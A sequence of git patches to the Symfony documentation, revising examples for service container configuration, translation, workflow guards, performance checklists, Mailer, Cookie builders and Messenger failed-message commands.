-                <!-- ... -->
+                <!-- ...  same as before -->
 
-                <!-- Same as before -->
-                <prototype namespace="AppBundle\" resource="../../src/AppBundle/*" exclude="../../src/AppBundle/{Entity,Repository}"/>
+                <prototype namespace="AppBundle\"
+                    resource="../../src/AppBundle/*"
+                    exclude="../../src/AppBundle/{Entity,Repository}"/>
 
-                <!-- Explicitly configure the service -->
+                <!-- explicitly configure the service -->
                 <service id="AppBundle\Updates\SiteUpdateManager">
                     <argument key="$adminEmail">manager@example.com</argument>
                 </service>
@@ -497,20 +505,21 @@ pass here. No problem! In your configuration, you can explicitly set this argume
         use AppBundle\Updates\SiteUpdateManager;
         use Symfony\Component\DependencyInjection\Definition;
 
-        // Same as before
-        $definition = new Definition();
-
-        $definition
-            ->setAutowired(true)
-            ->setAutoconfigured(true)
-            ->setPublic(false)
-        ;
-
-        $this->registerClasses($definition, 'AppBundle\\', '../../src/AppBundle/*', '../../src/AppBundle/{Entity,Repository}');
+        // ... same as before
 
-        // Explicitly configure the service
+        // $this is a reference to the current loader
+        $this->registerClasses(
+            $defaults,
+            'AppBundle\\',
+            '../../src/AppBundle/*',
+            // excludes
+            '../../src/AppBundle/{Entity,Repository}'
+        );
+
+        // explicitly configure the service
         $container->getDefinition(SiteUpdateManager::class)
-            ->setArgument('$adminEmail', 'manager@example.com');
+            ->setArgument('$adminEmail', 'manager@example.com')
+        ;
 
 .. versionadded:: 3.3
 
@@ -544,7 +553,7 @@ and reference it with the ``%parameter_name%`` syntax:
             admin_email: manager@example.com
 
         services:
-            # ...
+            # ... same as before
 
             AppBundle\Updates\SiteUpdateManager:
                 arguments:
@@ -564,7 +573,7 @@ and reference it with the ``%parameter_name%`` syntax:
             </parameters>
 
             <services>
-                <!-- ... -->
+                <!-- ... same as before -->
 
                 <service id="AppBundle\Updates\SiteUpdateManager">
                     <argument key="$adminEmail">%admin_email%</argument>
@@ -576,11 +585,14 @@ and reference it with the ``%parameter_name%`` syntax:
 
         // app/config/services.php
         use AppBundle\Updates\SiteUpdateManager;
+
+        // ... same as before
+
         $container->setParameter('admin_email', 'manager@example.com');
 
-        $container->autowire(SiteUpdateManager::class)
-            // ...
-            ->setArgument('$adminEmail', '%admin_email%');
+        $container->getDefinition(SiteUpdateManager::class)
+            ->setArgument('$adminEmail', '%admin_email%')
+        ;
 
 Actually, once you define a parameter, it can be referenced via the ``%parameter_name%``
 syntax in *any* other service configuration file - like ``config.yml``. Many parameters
@@ -671,7 +683,7 @@ But, you can control this and pass in a different logger:
             <services>
                 <!-- ... same code as before -->
 
-                <!-- Explicitly configure the service -->
+                <!-- explicitly configure the service -->
                 <service id="AppBundle\Service\MessageGenerator">
                     <argument key="$logger" type="service" id="monolog.logger.request"/>
                 </service>
@@ -684,10 +696,12 @@ But, you can control this and pass in a different logger:
         use AppBundle\Service\MessageGenerator;
         use Symfony\Component\DependencyInjection\Reference;
 
-        $container->autowire(MessageGenerator::class)
-            ->setAutoconfigured(true)
-            ->setPublic(false)
-            ->setArgument('$logger', new Reference('monolog.logger.request'));
+        // ... same as before
+
+        // explicitly configure the service
+        $container->getDefinition(MessageGenerator::class)
+            ->setArgument('$logger', new Reference('monolog.logger.request'))
+        ;
 
 This tells the container that the ``$logger`` argument to ``__construct`` should use
 service whose id is ``monolog.logger.request``.
@@ -756,15 +770,26 @@ You can also use the ``bind`` keyword to bind specific arguments by name or type
     .. code-block:: php
 
         // config/services.php
-        use App\Controller\LuckyController;
         use Psr\Log\LoggerInterface;
+        use Symfony\Component\DependencyInjection\Definition;
         use Symfony\Component\DependencyInjection\Reference;
 
-        $container->register(LuckyController::class)
-            ->setPublic(true)
-            ->setBindings([
+        $defaults = new Definition();
+        $defaults
+            ->setAutowired(true)
+            ->setAutoconfigured(true)
+            ->setPublic(false)
+            ->setBinds([
+                // pass this value to any $adminEmail argument for any service
+                // that's defined in this file (including controller arguments)
                 '$adminEmail' => 'manager@example.com',
-                '$requestLogger' => new Reference('monolog.logger.request'),
+
+                // pass this service to any $requestLogger argument for any
+                // service that's defined in this file
+                '$requestLogger' => new Reference('@monolog.logger.request'),
+
+                // pass this service for any LoggerInterface type-hint for any
+                // service that's defined in this file
                 LoggerInterface::class => new Reference('monolog.logger.request'),
             ])
         ;
@@ -840,8 +865,10 @@ as a service, and :doc:`tag </service_container/tags>` it with ``twig.extension`
         // app/config/services.php
         use AppBundle\Twig\MyTwigExtension;
 
-        $container->autowire(MyTwigExtension::class)
-            ->addTag('twig.extension');
+        // ...
+        $container->getDefinition(MyTwigExtension::class)
+            ->addTag('twig.extension')
+        ;
 
 But, with ``autoconfigure: true``, you don't need the tag. In fact, if you're using
 the :ref:`Symfony Standard Edition services.yml config <service-container-services-load-example>`,
@@ -887,6 +914,21 @@ this file is ``public: false`` by default:
             </services>
         </container>
 
+    .. code-block:: php
+
+        // app/config/services.php
+        <?php
+
+        use Symfony\Component\DependencyInjection\Definition;
+
+        // To use as default configuration for services in *this* file
+        $defaults = new Definition();
+        $defaults
+            // ...
+            ->setPublic(false)
+        ;
+
+
 What does this mean? When a service is **not** public, you cannot access it directly
 from the container::
 
@@ -932,6 +974,19 @@ need to make your service public, just override this setting:
             </services>
         </container>
 
+    .. code-block:: php
+
+        // app/config/services.php
+        <?php
+
+        use AppBundle\Service\MessageGenerator;
+
+        // ... same code as before
+
+        $container->getDefinition(MessageGenerator::class)
+            ->setPublic(true)
+        ;
+
 .. _service-psr4-loader:
 
 Importing Many Services at once with resource
@@ -946,7 +1001,7 @@ key. For example, the default Symfony configuration contains this:
 
         # app/config/services.yml
         services:
-            # ...
+            # ... same as before
 
             # the namespace prefix for classes (must end in \)
             AppBundle\:
@@ -955,11 +1010,10 @@ key. For example, the default Symfony configuration contains this:
                 # ...except for the classes located in these directories
                 exclude: '../../src/AppBundle/{Entity,Repository}'
 
-            # these were imported above, but we want to add some extra config
+            # these were imported above, but we want to add the tag
             AppBundle\Controller\:
                 resource: '../../src/AppBundle/Controller'
                 # apply some configuration to these services
-                public: true
                 tags: ['controller.service_arguments']
 
     .. code-block:: xml
@@ -972,10 +1026,16 @@ key. For example, the default Symfony configuration contains this:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <!-- ... -->
+                <!-- ... same as before -->
 
-                <prototype namespace="AppBundle\" resource="../../src/AppBundle/*" exclude="../../src/AppBundle/{Entity,Repository}"/>
+                <!-- the namespace prefix for classes (must end in \) -->
+                <prototype namespace="AppBundle\"
+                    resource="../../src/AppBundle/*"
+                    exclude="../../src/AppBundle/{Entity,Repository}"/>
+                    <!-- create services for all the classes found in this directory...
+                         ...except for the classes located in these directories -->
 
+                <!-- these were imported above, but we want to add the tag -->
                 <prototype namespace="AppBundle\Controller\" resource="../../src/AppBundle/Controller" public="true">
                     <tag name="controller.service_arguments"/>
                 </prototype>
@@ -985,27 +1045,27 @@ key. For example, the default Symfony configuration contains this:
     .. code-block:: php
 
         // app/config/services.php
-        use Symfony\Component\DependencyInjection\Definition;
-
-        // To use as default template
-        $definition = new Definition();
-
-        $definition
-            ->setAutowired(true)
-            ->setAutoconfigured(true)
-            ->setPublic(false)
-        ;
-
-        $this->registerClasses($definition, 'AppBundle\\', '../../src/AppBundle/*', '../../src/AppBundle/{Entity,Repository}');
-
-        // Changes default config
-        $definition
-            ->setPublic(true)
-            ->addTag('controller.service_arguments')
-        ;
+        // ... same as before
 
         // $this is a reference to the current loader
-        $this->registerClasses($definition, 'AppBundle\\Controller\\', '../../src/AppBundle/Controller/*');
+        $this->registerClasses(
+            $defaults,
+            // the namespace prefix for classes (must end in \)
+            'AppBundle\\',
+            // create services for all the classes found in this directory...
+            '../../src/AppBundle/*',
+            '../../src/AppBundle/{Entity,Repository}'
+        );
+
+        // changes default config
+        $defaults->addTag('controller.service_arguments');
+
+        // these were imported above, but we want to the tag
+        $this->registerClasses(
+            $defaults,
+            'AppBundle\\Controller\\',
+            '../../src/AppBundle/Controller/*'
+        );
 
 .. tip::
 
@@ -1045,30 +1105,119 @@ If you define services using the YAML config format, the PHP namespace is used
 as the key of each configuration, so you can't define different service configs
 for classes under the same namespace:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # app/config/services.yml
+        services:
+            AppBundle\Domain\:
+                resource: '../../src/AppBundleDomain/*'
 
-    # app/config/services.yml
-    services:
-        App\Domain\:
-            resource: '../../src/Domain/*'
             # ...
 
+    .. code-block:: xml
+
+        <!-- app/config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <prototype namespace="AppBundle\Domain"
+                    resource="../../src/AppBundle/Domain/*"/>
+                </prototype>
+
+                <!-- ... -->
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // app/config/services.php
+        use Symfony\Component\DependencyInjection\Definition;
+
+        $defaults = new Definition();
+
+        // $this is a reference to the current loader
+        $this->registerClasses(
+            $defaults,
+            'AppBundle\\Domain\\',
+            '../../src/AppBundle/Domain/*'
+        );
+
+        // ...
+
 In order to have multiple definitions, add the ``namespace`` option and use any
 unique string as the key of each service config:
 
-.. code-block:: yaml
+.. configuration-block::
 
-    # app/config/services.yml
-    services:
-        command_handlers:
-            namespace: App\Domain\
-            resource: '../../src/Domain/*/CommandHandler'
-            tags: [command_handler]
+    .. code-block:: yaml
 
-        event_subscribers:
-            namespace: App\Domain\
-            resource: '../../src/Domain/*/EventSubscriber'
-            tags: [event_subscriber]
+        # app/config/services.yml
+        services:
+            command_handlers:
+                namespace: App\Domain\
+                resource: '../../src/Domain/*/CommandHandler'
+                tags: [command_handler]
+
+            event_subscribers:
+                namespace: App\Domain\
+                resource: '../../src/Domain/*/EventSubscriber'
+                tags: [event_subscriber]
+
+        # ...
+
+    .. code-block:: xml
+
+        <!-- app/config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <prototype namespace="AppBundle\Domain"
+                    resource="../../src/AppBundle/Domain/*/CommandHandler"/>
+                    <tag name"command_handler"/>
+                </prototype>
+
+                <prototype namespace="AppBundle\Domain"
+                    resource="../../src/AppBundle/Domain/*/EventSubscriber"/>
+                    <tag name"event_subscriber"/>
+                </prototype>
+
+                <!-- ... -->
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // app/config/services.php
+        use Symfony\Component\DependencyInjection\Definition;
+
+        $commandHandlers = new Definition();
+        $commandHandlers->addTag('command_handler');
+
+        // $this is a reference to the current loader
+        $this->registerClasses(
+            $commandHandlers,
+            'AppBundle\\Domain\\',
+            '../../src/AppBundle/Domain/*/CommandHandler'
+        );
+
+        $eventSubscribers = new Definition();
+        $eventSubscribers->addTag('event_subscriber');
+
+        $this->registerClasses(
+            $eventSubscribers,
+            'AppBundle\\Domain\\',
+            '../../src/AppBundle/Domain/*/EventSubscriber'
+        );
 
 .. _services-explicitly-configure-wire-services:
 
@@ -1127,18 +1276,26 @@ admin email. In this case, each needs to have a unique service id:
             <services>
                 <!-- ... -->
 
-                <service id="site_update_manager.superadmin" class="AppBundle\Updates\SiteUpdateManager" autowire="false">
+                <!-- you CAN still use autowiring: we just want to show what it looks like without -->
+                <service id="site_update_manager.superadmin"
+                    class="AppBundle\Updates\SiteUpdateManager"
+                    autowire="false">
+                    <!-- manually wire all arguments -->
                     <argument type="service" id="AppBundle\Service\MessageGenerator"/>
                     <argument type="service" id="mailer"/>
                     <argument>superadmin@example.com</argument>
                 </service>
 
-                <service id="site_update_manager.normal_users" class="AppBundle\Updates\SiteUpdateManager" autowire="false">
+                <service id="site_update_manager.normal_users"
+                    class="AppBundle\Updates\SiteUpdateManager"
+                    autowire="false">
                     <argument type="service" id="AppBundle\Service\MessageGenerator"/>
                     <argument type="service" id="mailer"/>
                     <argument>contact@example.com</argument>
                 </service>
 
+                <!-- Create an alias, so that - by default - if you type-hint SiteUpdateManager,
+                     the site_update_manager.superadmin will be used -->
                 <service id="AppBundle\Updates\SiteUpdateManager" alias="site_update_manager.superadmin"/>
             </services>
         </container>
@@ -1150,13 +1307,17 @@ admin email. In this case, each needs to have a unique service id:
         use AppBundle\Updates\SiteUpdateManager;
         use Symfony\Component\DependencyInjection\Reference;
 
+        // register the service by its id
         $container->register('site_update_manager.superadmin', SiteUpdateManager::class)
+            // you CAN still use autowiring: we just want to show what it looks like without
             ->setAutowired(false)
+            // manually wire all arguments
             ->setArguments([
                 new Reference(MessageGenerator::class),
                 new Reference('mailer'),
                 'superadmin@example.com'
-            ]);
+            ])
+        ;
 
         $container->register('site_update_manager.normal_users', SiteUpdateManager::class)
             ->setAutowired(false)
@@ -1164,8 +1325,11 @@ admin email. In this case, each needs to have a unique service id:
                 new Reference(MessageGenerator::class),
                 new Reference('mailer'),
                 'contact@example.com'
-            ]);
+            ])
+        ;
 
+        // Create an alias, so that - by default - if you type-hint SiteUpdateManager,
+        // the site_update_manager.superadmin will be used
         $container->setAlias(SiteUpdateManager::class, 'site_update_manager.superadmin')
 
 In this case, *two* services are registered: ``site_update_manager.superadmin``
diff --git a/translation.rst b/translation.rst
index 5c3ff5553ad..9a9effd3527 100644
--- a/translation.rst
+++ b/translation.rst
@@ -263,14 +263,14 @@ Sometimes, a message containing a variable needs to be translated::
 
     public function indexAction($name)
     {
-        $translated = $this->get('translator')->trans('Hello '.$name);
+        $translated = $this->get('translator')->trans('Hello '.$name.'!');
 
         // ...
     }
 
 However, creating a translation for this string is impossible since the translator
 will try to look up the exact message, including the variable portions
-(e.g. *"Hello Ryan"* or *"Hello Fabien"*). Instead of writing a translation
+(e.g. *"Hello Ryan!"* or *"Hello Fabien!"*). Instead of writing a translation
 for every possible iteration of the ``$name`` variable, you can replace the
 variable with a "placeholder"::
 
@@ -291,7 +291,7 @@ is done just as before:
 
     .. code-block:: yaml
 
-        'Hello %name%': Bonjour %name%
+        'Hello %name%!': Bonjour %name% !
 
     .. code-block:: xml
 
@@ -300,8 +300,8 @@ is done just as before:
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
                     <trans-unit id="1">
-                        <source>Hello %name%</source>
-                        <target>Bonjour %name%</target>
+                        <source>Hello %name%!</source>
+                        <target>Bonjour %name% !</target>
                     </trans-unit>
                 </body>
             </file>
@@ -310,7 +310,7 @@ is done just as before:
     .. code-block:: php
 
         return [
-            'Hello %name%' => 'Bonjour %name%',
+            'Hello %name%!' => 'Bonjour %name% !',
         ];
 
 .. note::
@@ -717,8 +717,7 @@ if you're generating translations with specialized programs or teams.
                 xsi:schemaLocation="http://symfony.com/schema/dic/services
                     https://symfony.com/schema/dic/services/services-1.0.xsd
                     http://symfony.com/schema/dic/symfony
-                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
-            >
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
                 <framework:config>
                     <framework:translator>
diff --git a/workflow.rst b/workflow.rst
index 890225c6efd..82afcba8cb5 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -60,14 +60,17 @@ like this:
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
-        >
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+            https://symfony.com/schema/dic/services/services-1.0.xsd
+            http://symfony.com/schema/dic/symfony
+            https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
+                <!-- or type="state_machine" -->
                 <framework:workflow name="blog_publishing" type="workflow">
                     <framework:audit-trail enabled="true"/>
 
+                    <!-- or type="multiple_state" -->
                     <framework:marking-store type="single_state">
                         <framework:argument>currentPlace</framework:argument>
                     </framework:marking-store>
@@ -102,8 +105,9 @@ like this:
     .. code-block:: php
 
         // app/config/config.php
+        use AppBundle\Entity\BlogPost;
+
         $container->loadFromExtension('framework', [
-            // ...
             'workflows' => [
                 'blog_publishing' => [
                     'type' => 'workflow', // or 'state_machine'
@@ -114,7 +118,7 @@ like this:
                         'type' => 'multiple_state', // or 'single_state'
                         'arguments' => ['currentPlace']
                     ],
-                    'supports' => ['AppBundle\Entity\BlogPost'],
+                    'supports' => [BlogPost::class],
                     'places' => [
                         'draft',
                         'reviewed',
@@ -163,8 +167,8 @@ As configured, the following property is used by the marking store::
     configures the marking store according to the "type" by default, so it's
     preferable to not configure it.
 
-    A single state marking store uses a string to store the data. A multiple
-    state marking store uses an array to store the data.
+    A single state marking store uses a ``string`` to store the data. A multiple
+    state marking store uses an ``array`` to store the data.
 
 .. tip::
 
@@ -414,29 +418,109 @@ Alternatively, you can define a ``guard`` configuration option for the
 transition. The value of this option is any valid expression created with the
 :doc:`ExpressionLanguage component </components/expression_language>`:
 
-.. code-block:: yaml
-
-    # config/packages/workflow.yaml
-    framework:
-        workflows:
-            blog_publishing:
-                # previous configuration
-                transitions:
-                    to_review:
-                        # the transition is allowed only if the current user has the ROLE_REVIEWER role.
-                        guard: "is_granted('ROLE_REVIEWER')"
-                        from: draft
-                        to:   reviewed
-                    publish:
-                        # or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted"
-                        guard: "is_authenticated"
-                        from: reviewed
-                        to:   published
-                    reject:
-                        # or any valid expression language with "subject" referring to the post
-                        guard: "has_role('ROLE_ADMIN') and subject.isStatusReviewed()"
-                        from: reviewed
-                        to:   rejected
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/workflow.yaml
+        framework:
+            workflows:
+                blog_publishing:
+                    # ... previous configuration
+
+                    transitions:
+                        to_review:
+                            # the transition is allowed only if the current user has the ROLE_REVIEWER role.
+                            guard: "is_granted('ROLE_REVIEWER')"
+                            from: draft
+                            to:   reviewed
+                        publish:
+                            # or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted"
+                            guard: "is_authenticated"
+                            from: reviewed
+                            to:   published
+                        reject:
+                            # or any valid expression language with "subject" referring to the post
+                            guard: "has_role('ROLE_ADMIN') and subject.isStatusReviewed()"
+                            from: reviewed
+                            to:   rejected
+
+    .. code-block:: xml
+
+        <!-- app/config/config.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+            https://symfony.com/schema/dic/services/services-1.0.xsd
+            http://symfony.com/schema/dic/symfony
+            https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:workflow name="blog_publishing" type="workflow">
+
+                    <!-- ... previous configuration -->
+
+                    <framework:transition name="to_review">
+                        <!-- the transition is allowed only if the current user has the ROLE_REVIEWER role. -->
+                        <framework:guard>is_granted("ROLE_REVIEWER")</framework:guard>
+                        <framework:from>draft</framework:from>
+                        <framework:to>reviewed</framework:to>
+                    </framework:transition>
+
+                    <framework:transition name="publish">
+                        <!-- or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted" -->
+                        <framework:guard>is_authenticated</framework:guard>
+                        <framework:from>reviewed</framework:from>
+                        <framework:to>published</framework:to>
+                    </framework:transition>
+
+                    <framework:transition name="reject">
+                        <!-- or any valid expression language with "subject" referring to the post -->
+                        <framework:guard>has_role("ROLE_ADMIN") and subject.isStatusReviewed()</framework:guard>
+                        <framework:from>reviewed</framework:from>
+                        <framework:to>rejected</framework:to>
+                    </framework:transition>
+
+                </framework:workflow>
+
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // app/config/config.php
+        use AppBundle\Entity\BlogPost;
+
+        $container->loadFromExtension('framework', [
+            'workflows' => [
+                'blog_publishing' => [
+                    // ... previous configuration
+
+                    'transitions' => [
+                        'to_review' => [
+                            // the transition is allowed only if the current user has the ROLE_REVIEWER role.
+                            'guard' => 'is_granted("ROLE_REVIEWER")',
+                            'from' => 'draft',
+                            'to' => 'reviewed',
+                        ],
+                        'publish' => [
+                            // or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted"
+                            'guard' => 'is_authenticated',
+                            'from' => 'reviewed',
+                            'to' => 'published',
+                        ],
+                        'reject' => [
+                            // or any valid expression language with "subject" referring to the post
+                            'guard' => 'has_role("ROLE_ADMIN") and subject.isStatusReviewed()',
+                            'from' => 'reviewed',
+                            'to' => 'rejected',
+                        ],
+                    ],
+                ],
+            ],
+        ]);
 
 Usage in Twig
 -------------

From 3d82a610792c259fc866ae1e4d2c550f86d1d93c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 22 Feb 2020 16:29:18 +0100
Subject: [PATCH 0395/7107] Fixed the Table of Contents of the performance
 article

---
 performance.rst | 24 +++++++++++++++---------
 1 file changed, 15 insertions(+), 9 deletions(-)

diff --git a/performance.rst b/performance.rst
index 1feb0bd4025..03a223771f4 100644
--- a/performance.rst
+++ b/performance.rst
@@ -11,19 +11,13 @@ performance checklists.
 Symfony Application Checklist
 -----------------------------
 
+These are the code and configuration changes that you can make in your Symfony
+application to improve its performance:
+
 #. :ref:`Install APCu Polyfill if your server uses APC <performance-install-apcu-polyfill>`
 #. :ref:`Enable APC Caching for the Autoloader <performance-autoloader-apc-cache>`
 #. :ref:`Use Bootstrap Files <performance-use-bootstrap-files>`
 
-Production Server Checklist
----------------------------
-
-#. :ref:`Use the OPcache byte code cache <performance-use-opcache>`
-#. :ref:`Configure OPcache for maximum performance <performance-configure-opcache>`
-#. :ref:`Don't check PHP files timestamps <performance-dont-check-timestamps>`
-#. :ref:`Configure the PHP realpath Cache <performance-configure-realpath-cache>`
-#. :ref:`Optimize Composer Autoloader <performance-optimize-composer-autoloader>`
-
 .. _performance-install-apcu-polyfill:
 
 Install APCu Polyfill if your Server Uses APC
@@ -108,6 +102,18 @@ rebuilt after updating the vendor libraries via the ``composer install`` command
   course, if this feature is disabled in the byte code cache (e.g.
   ``apc.stat=0`` in APC), there is no longer a reason to use a bootstrap file.
 
+Production Server Checklist
+---------------------------
+
+These are the changes that you can make in your production server to improve
+performance when running Symfony applications:
+
+#. :ref:`Use the OPcache byte code cache <performance-use-opcache>`
+#. :ref:`Configure OPcache for maximum performance <performance-configure-opcache>`
+#. :ref:`Don't check PHP files timestamps <performance-dont-check-timestamps>`
+#. :ref:`Configure the PHP realpath Cache <performance-configure-realpath-cache>`
+#. :ref:`Optimize Composer Autoloader <performance-optimize-composer-autoloader>`
+
 .. _performance-use-opcache:
 
 Use the OPcache Byte Code Cache

From 7d128a6bf811d4bb732c4eceff2086c8d137389f Mon Sep 17 00:00:00 2001
From: Simon Berton <simonberton@gmail.com>
Date: Thu, 20 Feb 2020 12:57:21 +0100
Subject: [PATCH 0396/7107] Update mailer.rst

Symfony\Component\Mailer\MailerInterface method send returns void. Not Symfony\Component\Mailer\SentMessage
---
 mailer.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 0ea051f1e5e..c90bb9fa1fd 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -121,10 +121,8 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
                 ->subject('Time for Symfony Mailer!')
                 ->text('Sending emails is fun again!')
                 ->html('<p>See Twig integration for better HTML integration!</p>');
-
-            /** @var Symfony\Component\Mailer\SentMessage $sentEmail */
-            $sentEmail = $mailer->send($email);
-            // $messageId = $sentEmail->getMessageId();
+                
+            $mailer->send($email);
 
             // ...
         }

From d1dca396da9572194759bf2d209ad25f5b01095c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 22 Feb 2020 19:02:08 +0100
Subject: [PATCH 0397/7107] [HttpFoundation] Document the Cookie::with*()
 methods

---
 components/http_foundation.rst | 18 +++++++++++++++---
 1 file changed, 15 insertions(+), 3 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 46fda39167c..913da149ccf 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -443,9 +443,21 @@ method takes an instance of
 You can clear a cookie via the
 :method:`Symfony\\Component\\HttpFoundation\\ResponseHeaderBag::clearCookie` method.
 
-Note you can create a
-:class:`Symfony\\Component\\HttpFoundation\\Cookie` object from a raw header
-value using :method:`Symfony\\Component\\HttpFoundation\\Cookie::fromString`.
+In addition to the ``Cookie::create()`` method, you can create a ``Cookie``
+object from a raw header value using :method:`Symfony\\Component\\HttpFoundation\\Cookie::fromString`.
+You can also use the ``with*()`` methods to change some Cookie property (or to
+build the entire Cookie using a fluent interface). Each ``with*()`` method returns
+a new object with the modified property::
+
+    $cookie = Cookie::create('foo')
+        ->withValue('bar')
+        ->withExpiresTime(strtotime('Fri, 20-May-2011 15:25:52 GMT'))
+        ->withDomain('.example.com')
+        ->withSecure(true);
+
+.. versionadded:: 5.1
+
+    The ``with*()`` methods were introduced in Symfony 5.1.
 
 Managing the HTTP Cache
 ~~~~~~~~~~~~~~~~~~~~~~~

From 806da693ece0fd268f1d6e9a28ed1cc52d12a3ac Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 22 Feb 2020 19:18:21 +0100
Subject: [PATCH 0398/7107] [Mailer] Document the usage of
 default_socket_timeout in SMTP

---
 components/mailer.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/components/mailer.rst b/components/mailer.rst
index 45388e33cb1..f88972afe46 100644
--- a/components/mailer.rst
+++ b/components/mailer.rst
@@ -98,6 +98,16 @@ For third-party providers, refer to the following table:
  Sendgrid             sendgrid+smtp://apikey:KEY@default         n/a                                         sendgrid+api://KEY@default
 ==================== ========================================== =========================================== ========================================
 
+.. note::
+
+    When using SMTP, the default timeout for sending a message before throwing an
+    exception is the value defined in the `default_socket_timeout`_ PHP.ini option.
+
+    .. versionadded:: 5.1
+
+        The usage of ``default_socket_timeout`` as the default timeout was
+        introduced in Symfony 5.1.
+
 Instead of choosing a specific protocol, you can also let Symfony pick the
 best one by omitting it from the scheme: for instance, ``mailgun://KEY:DOMAIN@default``
 is equivalent to ``mailgun+https://KEY:DOMAIN@default``.
@@ -213,3 +223,4 @@ To learn more about how to use the mailer component, refer to the
 
 .. _`high availability`: https://en.wikipedia.org/wiki/High_availability
 .. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing)
+.. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout

From 58c9c6f24b2dd52f9712b8c0adf5aae9dfd0ac8e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 22 Feb 2020 19:29:09 +0100
Subject: [PATCH 0399/7107] Minor tweak

---
 messenger.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index a06f550dfeb..0a47d5fdf43 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -323,7 +323,7 @@ etc) instead of the object::
 
     // src/Message/NewUserWelcomeEmail.php
     namespace App\Message;
-    
+
     class NewUserWelcomeEmail
     {
         private $userId;
@@ -717,9 +717,16 @@ to retry them:
     # retry specific messages
     $ php bin/console messenger:failed:retry 20 30 --force
 
+    # remove a message without retrying it
+    $ php bin/console messenger:failed:remove 20
+
     # remove messages without retrying them and show each message before removing it
     $ php bin/console messenger:failed:remove 20 30 --show-messages
 
+.. versionadded:: 5.1
+
+    The ``--show-messages`` option was introduced in Symfony 5.1.
+
 If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.

From 15bb0f7f59389edb1fb2224ec816ed2c4814992d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 22 Feb 2020 19:34:44 +0100
Subject: [PATCH 0400/7107] [Workflow] Document the optional message of
 setBlocked()

---
 workflow.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 21c9488ed01..3524719bb4e 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -423,8 +423,7 @@ missing a title::
             $title = $post->title;
 
             if (empty($title)) {
-                // Block the transition "to_review" if the post has no title
-                $event->setBlocked(true);
+                $event->setBlocked(true, 'This blog post cannot be marked as reviewed because it has no title.');
             }
         }
 
@@ -436,6 +435,10 @@ missing a title::
         }
     }
 
+.. versionadded:: 5.1
+
+    The optional second argument of ``setBlocked()`` was introduced in Symfony 5.1.
+
 Event Methods
 ~~~~~~~~~~~~~
 

From 29a6194abe82bc4a8fc18dd5fc4ff0b79cffb049 Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <maxime.steinhausser@elao.com>
Date: Fri, 21 Feb 2020 14:52:00 +0100
Subject: [PATCH 0401/7107] [Validator] Add a constraint to sequentially
 validate a set of constraints

---
 reference/constraints.rst              |   1 +
 reference/constraints/Sequentially.rst | 142 +++++++++++++++++++++++++
 reference/constraints/map.rst.inc      |   1 +
 validation/sequence_provider.rst       |  11 ++
 4 files changed, 155 insertions(+)
